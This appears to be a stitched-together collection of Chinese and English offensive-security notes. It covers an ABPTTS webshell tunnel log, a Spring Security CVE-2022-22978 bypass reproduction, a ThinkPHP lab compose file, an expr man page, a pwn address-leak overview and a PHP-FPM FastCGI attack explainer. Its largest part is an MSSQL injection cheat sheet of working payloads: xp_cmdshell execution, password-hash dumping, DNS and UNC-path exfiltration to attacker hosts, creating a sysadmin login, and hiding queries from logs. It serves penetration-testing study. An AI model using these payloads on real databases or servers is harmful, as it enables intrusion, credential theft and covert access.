"/root/ABPTTS/webshell/config.txt" [2019‐01‐28 08:24:28.137760] Created server file "/root/ABPTTS/webshell/abptts.jsp" [2019‐01‐28 08:24:28.138342] Created server file "/root/ABPTTS/webshell/abptts.aspx" [2019‐01‐28 08:24:28.138492] Created server file "/root/ABPTTS/webshell/war/WEB‐INF/web.xml" [2019‐01‐28 08:24:28.138555] Created server file "/root/ABPTTS/webshell/war/META‐INF/MANIFEST.MF" [2019‐01‐28 08:24:28.139128] Prebuilt JSP WAR file: /root/ABPTTS/webshell/scabGroup.war [2019‐01‐28 08:24:28.139140] Unpacked WAR file contents:/root/ABPTTS/webshell/war ``` ![](media/2784a52d852031eff237e0a3302d062d.jpg) ### 靶机执行: 以aspx为demo。 ![](media/d962cbc9afc4b8e245f7cd576f871fcb.jpg) ### 攻击机执行: **注:如果攻击机为vps,则 -f 需要填写vps_ip:port/目标机:port** ```bash python abpttsclient.py ‐c webshell/config.txt ‐u "http://192.168.1.119/abptts.aspx" ‐f 192.168.1.5:33389/192.168.1.119:3389 ``` ```bash root@John:~/ABPTTS# python abpttsclient.py ‐c webshell/config.txt ‐u "http://192.168.1.119/abptts.aspx" ‐f 192.168.1.5:33389/192.168.1.119:3389 [2019‐01‐28 08:33:25.749115] ‐‐‐===[[[ A Black Path Toward The Sun ]]]===‐‐‐ [2019‐01‐28 08:33:25.749153] ‐‐==[[ ‐ Client ‐ ]]==‐‐ [2019‐01‐28 08:33:25.749160] Ben Lincoln, NCC Group [2019‐01‐28 08:33:25.749169] Version 1.0 ‐ 2016‐07‐30 [2019‐01‐28 08:33:25.750372] Listener ready to forward connections from 192.168.1.5:33389 to 192.168.1.119:3389 via http://192.168.1.119/abptts.aspx [2019‐01‐28 08:33:25.750392] Waiting for client connection to 192.168.1.5:33389 [2019‐01‐28 08:33:28.560180] Client connected to 192.168.1.5:33389 [2019‐01‐28 08:33:28.560365] Waiting for client connection to 192.168.1.5:33389 [2019‐01‐28 08:33:28.560655] Connecting to 192.168.1.119:3389 via http://192.168.1.119/abptts.aspx [2019‐01‐28 08:33:28.868187] Server set cookie ASP.NET_SessionId=boyfcepcijf43s0dhaz5of05; path=/; HttpOnly [2019‐01‐28 08:33:28.868269] [(S2C) 192.168.1.119:3389 ‐> 192.168.1.5:33389 ‐> 192.168.1.3:8861 (Connection ID: CEA116F4AF1FAF8C)] Server created connection ID CEA116F4AF1FAF8C [2019‐01‐28 08:33:29.077903] Connection‐level exception: [Errno 104] Connection reset by peer in thread for tunnel (192.168.1.3:8861 ‐> 192.168.1.5:33389 ‐> 192.168.1.119:3389) [2019‐01‐28 08:33:29.077967] Disengaging tunnel (192.168.1.3:8861 ‐> 192.168.1.5:33389 ‐> 192.168.1.119:3389) [2019‐01‐28 08:33:29.077987] Closing client socket (192.168.1.3:8861 ‐ > 192.168.1.5:33389) [2019‐01‐28 08:33:29.078049] Exception while closing client socket (192.168.1.3:8861 ‐> 192.168.1.5:33389): [Errno 107] Transport endpoint is not connected [2019‐01‐28 08:33:29.085280] Server closed connection ID CEA116F4AF1FAF8C [2019‐01‐28 08:33:36.957446] Client connected to 192.168.1.5:33389 [2019‐01‐28 08:33:36.957601] Waiting for client connection to 192.168.1.5:33389 [2019‐01‐28 08:33:36.957797] Connecting to 192.168.1.119:3389 via http://192.168.1.119/abptts.aspx [2019‐01‐28 08:33:36.966507] Server set cookie ASP.NET_SessionId=bsynuc3l5ndo5h0n0bhtrv5p; path=/; HttpOnly [2019‐01‐28 08:33:36.966587] [(S2C) 192.168.1.119:3389 ‐> 192.168.1.5:33389 ‐> 192.168.1.3:8862 (Connection ID: AA0FE7F073A5EFFD)] Server created connection ID AA0FE7F073A5EFFD [2019‐01‐28 08:33:45.321612] [(C2S) 192.168.1.3:8862 ‐> 192.168.1.5:33389 ‐> 192.168.1.119:3389 (Connection ID: AA0FE7F073A5EFFD)]: 25805 bytes sent since last report [2019‐01‐28 08:33:45.321700] [(S2C) 192.168.1.119:3389 ‐> 192.168.1.5:33389 ‐> 192.168.1.3:8862 (Connection ID: AA0FE7F073A5EFFD)] 12344 bytes sent since last report [2019‐01‐28 08:33:48.482758] [(C2S) 192.168.1.3:8862 ‐> 192.168.1.5:33389 ‐> 192.168.1.119:3389 (Connection ID: AA0FE7F073A5EFFD)]: 715 bytes sent since last report [2019‐01‐28 08:33:48.482838] [(S2C) 192.168.1.119:3389 ‐> 192.168.1.5:33389 ‐> 192.168.1.3:8862 (Connection ID: AA0FE7F073A5EFFD)] 2524 bytes sent since last report [2019‐01‐28 08:33:54.169354] Connection‐level exception: [Errno 104] Connection reset by peer in thread for tunnel (192.168.1.3:8862 ‐> 192.168.1.5:33389 ‐> 192.168.1.119:3389) [2019‐01‐28 08:33:54.169432] Disengaging tunnel (192.168.1.3:8862 ‐> 192.168.1.5:33389 ‐> 192.168.1.119:3389) [2019‐01‐28 08:33:54.169455] Closing client socket (192.168.1.3:8862 ‐ > 192.168.1.5:33389) [2019‐01‐28 08:33:54.169529] Exception while closing client socket (192.168.1.3:8862 ‐> 192.168.1.5:33389): [Errno 107] Transport endpoint is not connected [2019‐01‐28 08:33:54.178078] Server closed connection ID AA0FE7F073A5EFFD ``` ![](media/c52ff577d2cd3ceb5deb2ff11945d072.jpg) ![](media/a042b2937c5a751d17bd302e86fd7a4f.jpg) 非常遗憾的是,目前不支持PHP。 > Micropoor
sec-knowleage
# CVE-2022-22978: Spring Security Authorization Bypass in RegexRequestMatcher In Spring Security versions 5.5.6 and 5.6.3 and older unsupported versions, RegexRequestMatcher can easily be misconfigured to be bypassed on some servlet containers. Applications using RegexRequestMatcher with `.` in the regular expression are possibly vulnerable to an authorization bypass. References: - <https://tanzu.vmware.com/security/cve-2022-22978> - <https://github.com/DeEpinGh0st/CVE-2022-22978> ## Vulnerability Environment After server is started, browse to <http://your-ip:8080/admin> to see that access to the admin page is blocked. ![](forbidden.png) ## Vulnerability Reproduce Send the following request to access the admin page: - <http://your-ip:8080/admin/%0atest> - <http://your-ip:8080/admin/%0dtest> ![](bypassed.png)
sec-knowleage
version: '2' services: web: image: vulhub/thinkphp:5.0.9 depends_on: - mysql ports: - "80:80" volumes: - ./www/controller:/var/www/application/index/controller - ./www/model:/var/www/application/index/model - ./www/database.php:/var/www/application/database.php mysql: image: mysql:5.5 environment: - MYSQL_ROOT_PASSWORD=root - MYSQL_DATABASE=cat volumes: - ./www/init.sql:/docker-entrypoint-initdb.d/init.sql
sec-knowleage
# MSSQL Injection ## Summary * [MSSQL Default Databases](#mssql-default-databases) * [MSSQL Comments](#mssql-comments) * [MSSQL User](#mssql-user) * [MSSQL Version](#mssql-version) * [MSSQL Hostname](#mssql-hostname) * [MSSQL Database Name](#mssql-database-name) * [MSSQL Database Credentials](#mssql-database-credentials) * [MSSQL List databases](#mssql-list-databases) * [MSSQL List columns](#mssql-list-columns) * [MSSQL List tables](#mssql-list-tables) * [MSSQL Union Based](#mssql-union-based) * [MSSQL Error Based](#mssql-error-based) * [MSSQL Blind Based](#mssql-blind-based) * [MSSQL Time Based](#mssql-time-based) * [MSSQL Stacked query](#mssql-stacked-query) * [MSSQL Read file](#mssql-read-file) * [MSSQL Command execution](#mssql-command-execution) * [MSSQL Out of band](#mssql-out-of-band) * [MSSQL DNS exfiltration](#mssql-dns-exfiltration) * [MSSQL UNC path](#mssql-unc-path) * [MSSQL Make user DBA](#mssql-make-user-dba-db-admin) * [MSSQL Trusted Links](#mssql-trusted-links) * [MSSQL List permissions](#mssql-list-permissions) ## MSSQL Default Databases | Name | Description | |-----------------------|---------------------------------------| | pubs | Not available on MSSQL 2005 | | model | Available in all versions | | msdb | Available in all versions | | tempdb | Available in all versions | | northwind | Available in all versions | | information_schema | Availalble from MSSQL 2000 and higher | ## MSSQL Comments | Type | Description | |----------------------------|-----------------------------------| | `/* MSSQL Comment */` | C-style comment | | `-- -` | SQL comment | | `;%00` | Null byte | ## MSSQL User ```sql SELECT CURRENT_USER SELECT user_name(); SELECT system_user; SELECT user; ``` ## MSSQL Version ```sql SELECT @@version ``` ## MSSQL Hostname ```sql SELECT HOST_NAME() SELECT @@hostname SELECT @@SERVERNAME SELECT SERVERPROPERTY('productversion') SELECT SERVERPROPERTY('productlevel') SELECT SERVERPROPERTY('edition'); ``` ## MSSQL Database name ```sql SELECT DB_NAME() ``` ## MSSQL Database Credentials * **MSSQL 2000**: Hashcat mode 131: `0x01002702560500000000000000000000000000000000000000008db43dd9b1972a636ad0c7d4b8c515cb8ce46578` ```sql SELECT name, password FROM master..sysxlogins SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins -- Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer ``` * **MSSQL 2005**: Hashcat mode 132: `0x010018102152f8f28c8499d8ef263c53f8be369d799f931b2fbe` ```sql SELECT name, password_hash FROM master.sys.sql_logins SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins ``` ## MSSQL List databases ```sql SELECT name FROM master..sysdatabases; SELECT DB_NAME(N); — for N = 0, 1, 2, … SELECT STRING_AGG(name, ', ') FROM master..sysdatabases; -- Change delimeter value such as ', ' to anything else you want => master, tempdb, model, msdb (Only works in MSSQL 2017+) ``` ## MSSQL List columns ```sql SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘mytable’); — for the current DB only SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable SELECT table_catalog, column_name FROM information_schema.columns ``` ## MSSQL List tables ```sql SELECT name FROM master..sysobjects WHERE xtype = ‘U’; — use xtype = ‘V’ for views SELECT name FROM someotherdb..sysobjects WHERE xtype = ‘U’; SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable SELECT table_catalog, table_name FROM information_schema.columns SELECT STRING_AGG(name, ', ') FROM master..sysobjects WHERE xtype = 'U'; -- Change delimeter value such as ', ' to anything else you want => trace_xe_action_map, trace_xe_event_map, spt_fallback_db, spt_fallback_dev, spt_fallback_usg, spt_monitor, MSreplication_options (Only works in MSSQL 2017+) ``` ## MSSQL Union Based ```sql -- extract databases names $ SELECT name FROM master..sysdatabases [*] Injection [*] msdb [*] tempdb -- extract tables from Injection database $ SELECT name FROM Injection..sysobjects WHERE xtype = 'U' [*] Profiles [*] Roles [*] Users -- extract columns for the table Users $ SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'Users') [*] UserId [*] UserName -- Finally extract the data $ SELECT UserId, UserName from Users ``` ## MSSQL Error based ```sql For integer inputs : convert(int,@@version) For integer inputs : cast((SELECT @@version) as int) For string inputs : ' + convert(int,@@version) + ' For string inputs : ' + cast((SELECT @@version) as int) + ' ``` ## MSSQL Blind based ```sql AND LEN(SELECT TOP 1 username FROM tblusers)=5 ; -- - AND ASCII(SUBSTRING(SELECT TOP 1 username FROM tblusers),1,1)=97 AND UNICODE(SUBSTRING((SELECT 'A'),1,1))>64-- AND SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables > 'A' AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>90 SELECT @@version WHERE @@version LIKE '%12.0.2000.8%' WITH data AS (SELECT (ROW_NUMBER() OVER (ORDER BY message)) as row,* FROM log_table) SELECT message FROM data WHERE row = 1 and message like 't%' ``` ## MSSQL Time based ```sql ProductID=1;waitfor delay '0:0:10'-- ProductID=1);waitfor delay '0:0:10'-- ProductID=1';waitfor delay '0:0:10'-- ProductID=1');waitfor delay '0:0:10'-- ProductID=1));waitfor delay '0:0:10'-- IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]' IF 1=1 WAITFOR DELAY '0:0:5' ELSE WAITFOR DELAY '0:0:0'; ``` ## MSSQL Stacked Query Use a semi-colon ";" to add another query ```sql ProductID=1; DROP members-- ``` ## MSSQL Read file **Permissions**: The `BULK` option requires the `ADMINISTER BULK OPERATIONS` or the `ADMINISTER DATABASE BULK OPERATIONS` permission. ```sql -1 union select null,(select x from OpenRowset(BULK 'C:\Windows\win.ini',SINGLE_CLOB) R(x)),null,null ``` ## MSSQL Command execution ```sql EXEC xp_cmdshell "net user"; EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'; EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1'; ``` If you need to reactivate xp_cmdshell (disabled by default in SQL Server 2005) ```sql EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; ``` To interact with the MSSQL instance. ```powershell sqsh -S 192.168.1.X -U sa -P superPassword python mssqlclient.py WORKGROUP/Administrator:password@192.168.1X -port 46758 ``` Execute Python script > Executed by a different user than the one using xp_cmdshell to execute commands ```powershell #Print the user being used (and execute commands) EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())' EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))' #Open and read a file EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())' #Multiline EXECUTE sp_execute_external_script @language = N'Python', @script = N' import sys print(sys.version) ' GO ``` ## MSSQL Out of band ### MSSQL DNS exfiltration Technique from https://twitter.com/ptswarm/status/1313476695295512578/photo/1 ```powershell # Permissions: Requires VIEW SERVER STATE permission on the server. 1 and exists(select * from fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\1.xem',null,null)) # Permissions: Requires the CONTROL SERVER permission. 1 (select 1 where exists(select * from fn_get_audit_file('\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\',default,default))) 1 and exists(select * from fn_trace_gettable('\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\1.trc',default)) ``` ### MSSQL UNC Path MSSQL supports stacked queries so we can create a variable pointing to our IP address then use the `xp_dirtree` function to list the files in our SMB share and grab the NTLMv2 hash. ```sql 1'; use master; exec xp_dirtree '\\10.10.15.XX\SHARE';-- ``` ```sql xp_dirtree '\\attackerip\file' xp_fileexist '\\attackerip\file' BACKUP LOG [TESTING] TO DISK = '\\attackerip\file' BACKUP DATABASE [TESTING] TO DISK = '\\attackeri\file' RESTORE LOG [TESTING] FROM DISK = '\\attackerip\file' RESTORE DATABASE [TESTING] FROM DISK = '\\attackerip\file' RESTORE HEADERONLY FROM DISK = '\\attackerip\file' RESTORE FILELISTONLY FROM DISK = '\\attackerip\file' RESTORE LABELONLY FROM DISK = '\\attackerip\file' RESTORE REWINDONLY FROM DISK = '\\attackerip\file' RESTORE VERIFYONLY FROM DISK = '\\attackerip\file' ``` ## MSSQL Make user DBA (DB admin) ```sql EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin; ``` ## MSSQL Trusted Links > The links between databases work even across forest trusts. ```powershell msf> use exploit/windows/mssql/mssql_linkcrawler [msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter sessio ``` Manual exploitation ```sql -- find link select * from master..sysservers -- execute query through the link select * from openquery("dcorp-sql1", 'select * from master..sysservers') select version from openquery("linkedserver", 'select @@version as version'); -- chain multiple openquery select version from openquery("link1",'select version from openquery("link2","select @@version as version")') -- execute shell commands EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT LinkedServer select 1 from openquery("linkedserver",'select 1;exec master..xp_cmdshell "dir c:"') -- create user and give admin privileges EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2" EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2" ``` ## List permissions Listing effective permissions of current user on the server. ```sql SELECT * FROM fn_my_permissions(NULL, 'SERVER'); ``` Listing effective permissions of current user on the database. ```sql SELECT * FROM fn_my_permissions (NULL, 'DATABASE'); ``` Listing effective permissions of current user on a view. ``` SELECT * FROM fn_my_permissions('Sales.vIndividualCustomer', 'OBJECT') ORDER BY subentity_name, permission_name; ``` Check if current user is a member of the specified server role. ```sql -- possible roles: sysadmin, serveradmin, dbcreator, setupadmin, bulkadmin, securityadmin, diskadmin, public, processadmin SELECT is_srvrolemember('sysadmin'); ``` ## MSSQL OPSEC Use `SP_PASSWORD` in a query to hide from the logs like : `' AND 1=1--sp_password` ```sql -- 'sp_password' was found in the text of this event. -- The text has been replaced with this comment for security reasons. ``` ## References * [Pentest Monkey - mssql-sql-injection-cheat-sheet](http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet) * [Error Based - SQL Injection ](https://github.com/incredibleindishell/exploit-code-by-me/blob/master/MSSQL%20Error-Based%20SQL%20Injection%20Order%20by%20clause/Error%20based%20SQL%20Injection%20in%20“Order%20By”%20clause%20(MSSQL).pdf) * [MSSQL Trusted Links - HackTricks.xyz](https://book.hacktricks.xyz/windows/active-directory-methodology/mssql-trusted-links) * [SQL Server – Link… Link… Link… and Shell: How to Hack Database Links in SQL Server! - Antti Rantasaari - June 6th, 2013](https://blog.netspi.com/how-to-hack-database-links-in-sql-server/) * [DAFT: Database Audit Framework & Toolkit - NetSPI](https://github.com/NetSPI/DAFT) * [SQL Server UNC Path Injection Cheatsheet - nullbind](https://gist.github.com/nullbind/7dfca2a6309a4209b5aeef181b676c6e) * [Full MSSQL Injection PWNage - ZeQ3uL && JabAv0C - 28 January 2009](https://www.exploit-db.com/papers/12975) * [Microsoft - sys.fn_my_permissions (Transact-SQL)](https://docs.microsoft.com/en-us/sql/relational-databases/system-functions/sys-fn-my-permissions-transact-sql?view=sql-server-ver15) * [Microsoft - IS_SRVROLEMEMBER (Transact-SQL)](https://docs.microsoft.com/en-us/sql/t-sql/functions/is-srvrolemember-transact-sql?view=sql-server-ver15)
sec-knowleage
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5. .\"******************************************************************* .\" .\" This file was generated with po4a. Translate the source file. .\" .\"******************************************************************* .TH EXPR 1 2022年9月 "GNU coreutils 9.1" 用户命令 .SH 名称 expr \- 对表达式求值 .SH 概述 \fBexpr\fP \fI\,表达式\/\fP .br \fBexpr\fP \fI\,选项\/\fP .SH 描述 .\" Add any additional description here .TP \fB\-\-help\fP 显示此帮助信息并退出 .TP \fB\-\-version\fP 显示版本信息并退出 .PP 将表达式的值打印至标准输出。以下说明以空行分隔优先级级别,运算优先级从低到高。表达式可能为: .TP 参数1 | 参数2 如果参数1 既不是 null 也不是 0,则为参数1,否则为参数2 .TP 参数1 & 参数2 如果两个参数都不是 null 也不是 0,则为参数1,否则为 0 .TP 参数1 < 参数2 参数1 小于参数2 .TP 参数1 <= 参数2 参数1 小于或等于参数2 .TP 参数1 = 参数2 参数1 等于参数2 .TP 参数1 != 参数2 参数1 不等于参数2 .TP 参数1 >= 参数2 参数1 大于或等于参数2 .TP 参数1 > 参数2 参数1 大于参数2 .TP 参数1 + 参数2 参数1 和参数2 的代数和 .TP 参数1 \- 参数2 参数1 和参数2 的代数差 .TP 参数1 * 参数2 参数1 和参数2 的代数乘积 .TP 参数1 / 参数2 参数1 除以参数2 的代数商 .TP 参数1 % 参数2 参数1 除以参数2 所得余数 .TP 字符串 : 正则表达式 在字符串中由给定正则表达式决定的锚定模式匹配 .TP match 字符串 正则表达式 与”字符串 : 正则表达式“相同 .TP substr 字符串 位置 长度 字符串的子串,位置由 1 开始计数 .TP index 字符串 CHARS 任何能够在字符串中找到的 CHARS 的位置,或者 0 .TP length 字符串 字符串 的长度 .TP + TOKEN 将 TOKEN 视作字符串,即使它是一个 .IP 类似于 'match' 的关键字或是一个类似 '/' 的操作符 .TP ( 表达式 ) 表达式 的值 .PP 请注意许多运算符需要在 shell 环境下转义或被引号引起。如果两个 参数 都是数字,那么比较将在代数意义下进行,否则将按照词典序比较。模式比较时,将返回在 \e( 和 \e) 之间的字符串或者 null;如果 \e( 和 \e) 未被使用,那么返回匹配的字符个数或者 0。 .PP 如果 表达式 既不是 null 也不是 0,则返回状态值为 0;如果 表达式 是 null 或 0,则返回状态值为 1;如果 表达式 在语法上无效,则返回状态值为 1;如果发生错误,则返回状态值为 3。 .SH 作者 由 Mike Parker, James Youngman 和 Paul Eggert 编写。 .SH 报告错误 GNU coreutils 的在线帮助: <https://www.gnu.org/software/coreutils/> .br 请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误。 .SH 版权 Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>. .br This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. .SH 参见 完整文档请见: <https://www.gnu.org/software/coreutils/expr> .br 或者在本地使用: info \(aq(coreutils) expr invocation\(aq
sec-knowleage
### 获取地址方式概述 在漏洞利用的过程中,我们常常需要获取一些变量,函数的地址,以便于能够进行进一步的利用。这里我将获取地址的方法分为如下几类 - 直接寻找地址,即我们可以通过反编译等手段直接看到对应符号的地址。 - 泄漏地址,即需要我们通过控制程序的执行流来泄漏程序中的某些符号指针的内容,来获取对应的地址。 - 推测地址,这里我们一般常用的就是根据某个段内的符号之间的偏移是固定的,从而来推断一些新的符号的地址。 - 猜测地址,一般主要指的是,我们需要自己去猜测对应符号的地址,这里伴随的往往就是暴力枚举了。 上述几种方法,是一种递进地考虑方式,我们在获取相关符号的地址时,应保持这样的思考方式。 在上面的几种方式中,我认为主要有两点核心思想 - 充分利用代码本身的性质,比如程序某些代码的位置就是固定的,如不开启 PIE 时,代码段的位置;再比如,glibc 的后三位是固定的。 - 充分利用相对偏移的性质,这是由于目前程序加载时往往加载的内存都是一段一段的,所以相对偏移往往是固定的。 更加具体的,我们可以看如下的介绍。 ### 直接寻找地址方式介绍 程序中已经给出了相关变量或者函数的地址了。这时候,我们就可以直接进行利用了。 这种情形往往适用于程序没有开启 PIE 的情况。 ### 泄露地址关于泄漏变量指针介绍 比如 1. 泄漏 main arena 中各种 bin 的头表指针,可能就可以获取堆中或者 glibc 中某个变量的地址。 ### 泄露地址关于泄漏 got 表介绍 有时候我们并不一定非得直接知道某个函数的地址,可以利用 GOT 表跳转到对应函数的地址。当然,如果我们非得知道这个函数的地址,我们可以利用 write,puts 等输出函数将 GOT 表中地址处对应的内容输出出来(**前提是这个函数已经被解析一次了**)。 ### 泄露地址关于ret2dl-resolve 介绍 当 ELF 文件采用动态链接时,got 表会采用延迟绑定技术。当第一次调用某个 libc 函数时,程序会调用_dl_runtime_resolve 函数对其地址解析。因此,我们可以利用栈溢出构造 ROP 链,伪造对其他函数(如:system)的解析。这也是我们在高级 rop 中介绍的技巧。 ### 泄露地址关于/proc/self/maps介绍 我们可以考虑通过读取程序的 `/proc/self/maps`来获取与程序相关的基地址。 ### 推测地址Stack Related 关于栈上的地址,其实我们大多时候并不需要具体的栈地址,但是我们可以根据栈的寻址方式,推测出栈上某个变量相对于 EBP 的位置。 ### 推测地址Glibc Related 这里主要考虑的是如何找到 Glibc 中相关的函数。 分为以下几种方式: #### 有 libc 这时候我们就需要考虑利用 libc 中函数的基地址一样这个特性来寻找了。比如我们可以通过 __libc_start_main 的地址来泄漏 libc 在内存中的基地址。 **注意:不要选择有 wapper的函数,这样会使得函数的基地址计算不正确。** 常见的有wapper 的函数有?(待补充)。 #### 无 libc 其实,这种情况的解决策略分为两种 - 想办法获取 libc - 想办法直接获取对应的地址。 而对于想要泄露的地址,我们只是单纯地需要其对应的内容,所以 puts , write,printf 均可以。 - puts,printf 会有 \x00 截断的问题 - write 可以指定长度输出的内容。 下面是一些相应的方法 ##### `pwnlib.dynelf` 前提是我们可以泄露任意地址的内容。 - **如果要使用 write 函数泄露的话,一次最好多输出一些地址的内容,因为我们一般是只是不断地向高地址读内容,很有可能导致高地址的环境变量被覆盖,就会导致 shell 不能启动。** ##### libc 数据库 ```shell # 更新数据库 ./get # 将已有libc添加到数据库中 ./add libc.so # Find all the libc's in the database that have the given names at the given addresses. ./find function1 addr function2 addr # Dump some useful offsets, given a libc ID. You can also provide your own names to dump. ./dump __libc_start_main_ret system dup2 ``` 去 libc 的数据库中找到对应的和已经出现的地址一样的 libc,这时候很有可能是一样的。 也可以使用如下的在线网站: - [libcdb.com](http://libcdb.com) - [libc.blukat.me](https://libc.blukat.me) **当然,还有上面提到的 https://github.com/lieanu/LibcSearcher。** ### 获取地址的方式之猜测地址 在一些比较奇怪的情况下,我们可能可以使用如下的方式 - 使用一些暴力的方法来获取地址,比如 32 位时,地址随机化的空间比较小。 - 当程序被特殊部署时,其不同的库被加载的位置可能会比较特殊。我们可以在本地尝试,然后猜测远程的情况。
sec-knowleage
## 0x00 FastCGI 是什么 FastCGI模式是CGI模式的优化升级版,主要解决了CGI模式性能不佳的问题。 FastCGI其实是一个协议,是在CGI协议上进行了一些优化。众所周知,CGI进程的反复加载是CGI性能低下的主要原因,如果CGI解释器能够保持在内存中并接受FastCGI进程管理器调度,则可以提供良好的性能、伸缩性、Fail-Over特性等等,而这些改进正是FastCGI所提供的。 ## 0x01 FastCGI 的数据结构 ### FastCGI record 类比HTTP协议来说,fastcgi协议则是http服务和某个语言后端进行数据交换的协议。Fastcgi协议由多个record组成,record包括header和body,http服务将这二者按照fastcgi的规则封装好发送给语言后端,语言后端解码以后拿到具体数据,进行指定操作,并将结果再按照该协议封装好后返回给http服务。 和HTTP头不同,record的头固定8个字节,body是由头中的contentLength指定,其结构如下: ``` c typedef struct { /* Header */ unsigned char version; // 版本 unsigned char type; // 本次record的类型 unsigned char requestIdB1; // 本次record对应的请求id unsigned char requestIdB0; unsigned char contentLengthB1; // body体的大小 unsigned char contentLengthB0; unsigned char paddingLength; // 额外块大小 unsigned char reserved; /* Body */ unsigned char contentData[contentLength]; unsigned char paddingData[paddingLength]; } FCGI_Record; ``` ### FastCGI type type就是指定该record的作用。因为fastcgi一个record的大小是有限的,作用也是单一的,所以我们需要在一个TCP流里传输多个record。通过type来标志每个record的作用,用requestId作为同一次请求的id。 下面列出了常见的几种type 取值含义: ![type 含义解释](../pictures/phpfpm_1.png) 如上表格所示,http服务和后端语言通信,第一个数据包就是type为1的record,后续交互中发送type为4、5、6、7的record,结束时发送type为2、3的record。 当后端语言接收到一个type为4的record后,就会把这个record的body按照对应的结构解析成key-value对,这就是**环境变量**。 ## 0x02 PHP-FPM 是什么 FPM其实是一个fastcgi协议解析器,Nginx等http服务将用户请求按照fastcgi的规则打包好通过TCP传给谁?其实就是传给FPM。 举个例子,用户访问`http://127.0.0.1/index.php?a=1&b=2`,根据nginx 的相关配置会把请求转发给监听在本地9000端口的fpm 进程来处理。 ``` location ~ \.php$ { index index.php index.html index.htm; include /etc/nginx/fastcgi_params; fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; include fastcgi_params; } ``` 如果web目录是/var/www/html,那么Nginx会将这个请求变成如下key-value对(type=4): ``` { 'GATEWAY_INTERFACE': 'FastCGI/1.0', 'REQUEST_METHOD': 'GET', 'SCRIPT_FILENAME': '/var/www/html/index.php', 'SCRIPT_NAME': '/index.php', 'QUERY_STRING': '?a=1&b=2', 'REQUEST_URI': '/index.php?a=1&b=2', 'DOCUMENT_ROOT': '/var/www/html', 'SERVER_SOFTWARE': 'php/fcgiclient', 'REMOTE_ADDR': '127.0.0.1', 'REMOTE_PORT': '12345', 'SERVER_ADDR': '127.0.0.1', 'SERVER_PORT': '80', 'SERVER_NAME': "localhost", 'SERVER_PROTOCOL': 'HTTP/1.1' } ``` 这个数组其实就是PHP中$_SERVER数组的一部分,也就是PHP里的环境变量。PHP-FPM拿到fastcgi的数据包后,进行解析,得到上述这些环境变量。然后执行SCRIPT_FILENAME的值指向的PHP文件,也就是/var/www/html/index.php。 ## 0x03 PHP-FPM未授权访问漏洞 顾名思义,PHP-FPM未授权访问漏洞,也就是PHP-FPM的服务端口绑定在全网监听而非绑定在本地127.0.0.1的端口上,从而导致攻击者可以从公网通过构造FastCGI报文来攻击PHP-FPM,进而导致任意代码执行。 那么如何实现任意代码执行呢? FastCGI协议只可以传输配置信息及需要被执行的文件名及客户端传进来的GET、POST、Cookie等数据。看上去我们即使能传输任意协议包也不能任意代码执行,但是我们可以通过更改配置信息来执行任意代码(除disable_function以外的大部分PHP配置,都可以通过FastCGI协议包来更改,具体的可参考php手册:`https://www.php.net/manual/zh/ini.list.php`)。 ### auto_prepend_file和auto_append_file 这两个选项是php.ini中年的两个可利用的选项。 auto_prepend_file选项是告诉PHP在执行目标文件之前,先包含auto_prepend_file中指定的文件,并且auto_prepend_file可以使用PHP伪协议;auto_append_file选项同理,区别在于执行目标文件之后才会包含指定文件。 此时,我们可以将auto_prepend_file的值设置为php://input伪协议,其可通过POST的方式将我们的数据传进来,那么就等于在执行任何php文件前都要包含一遍POST的内容。因此,我们只需要把待执行的代码放在Body中就可以实现任意代码执行了。 接着又一个问题,我们怎么设置auto_prepend_file的值呢?此外,php://input伪协议也是需要开启allow_url_include选项的,那又在哪里设置开启呢? ### PHP_VALUE和PHP_ADMIN_VALUE PHP_VALUE和PHP_ADMIN_VALUE是PHP-FPM的两个环境变量。PHP_VALUE可以设置模式为PHP_INI_USER和PHP_INI_ALL的选项,PHP_ADMIN_VALUE可以设置所有选项(disable_functions除外,这个选项是PHP加载的时候就确定了,在范围内的函数直接不会被加载到PHP上下文中)。 